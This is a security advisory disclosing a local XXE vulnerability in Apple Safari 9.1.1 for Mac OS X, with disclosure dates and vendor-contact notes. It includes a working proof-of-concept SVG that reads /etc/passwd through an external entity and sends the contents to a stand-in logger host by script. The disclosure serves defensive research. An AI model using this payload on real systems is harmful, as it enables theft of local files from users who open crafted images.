Apple Safari 9.1.1 Local XXE Injection

`Advisory ID: SGMA16-003  
Title: Apple Safari for Mac OS X SVG local XXE  
Product: Apple Safari for Mac OS X  
Version: 9.1.1 and probably prior  
Vendor: apple.com  
Vulnerability type: XXE  
Risk level: Medium  
Credit: Filippo Cavallarin - wearesegment.com  
CVE: N/A  
Vendor notification: 2015-04-08  
Vendor fix: N/A  
Public disclosure: 2016-07-05  
  
  
Details  
  
Safari for MACOSX is prone to an XXE vulnerability when processing crafted SVG images.  
An attacker may use this vulnerability to steal files from local computer by tricking a user  
into opening and SVG image from a local location (ie USB key).  
This vulnerability is mitigated by the file quarantine and do not work with downloaded files.  
  
  
Proof of concept:  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg [  
<!ELEMENT svg ANY >  
<!ENTITY xxe SYSTEM "file:///etc/passwd">  
]>  
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="19000px" xmlns:xlink="http://www.w3.org/1999/xlink" >  
<text x="-1000" y="-1000" >&xxe;</text>  
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />  
<script>  
var logger = "http://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML);  
document.createElementNS('http://www.w3.org/2000/svg','image').setAttributeNS('http://www.w3.org/1999/xlink','href', logger);  
  
</script>  
  
</svg>  
  
  
Notes  
  
The vendor has been notified more than one year before public disclosure and the answer was that the issue was  
still under analisys. We contacted the vendor again a few weeks before public disclosure but we got no reply.  
  
  
Solution  
  
N/A  
  
  
References  
  
https://www.wearesegment.com/research/Apple-Safari-for-Mac-OS-X-SVG-local-XXE  
  
  
`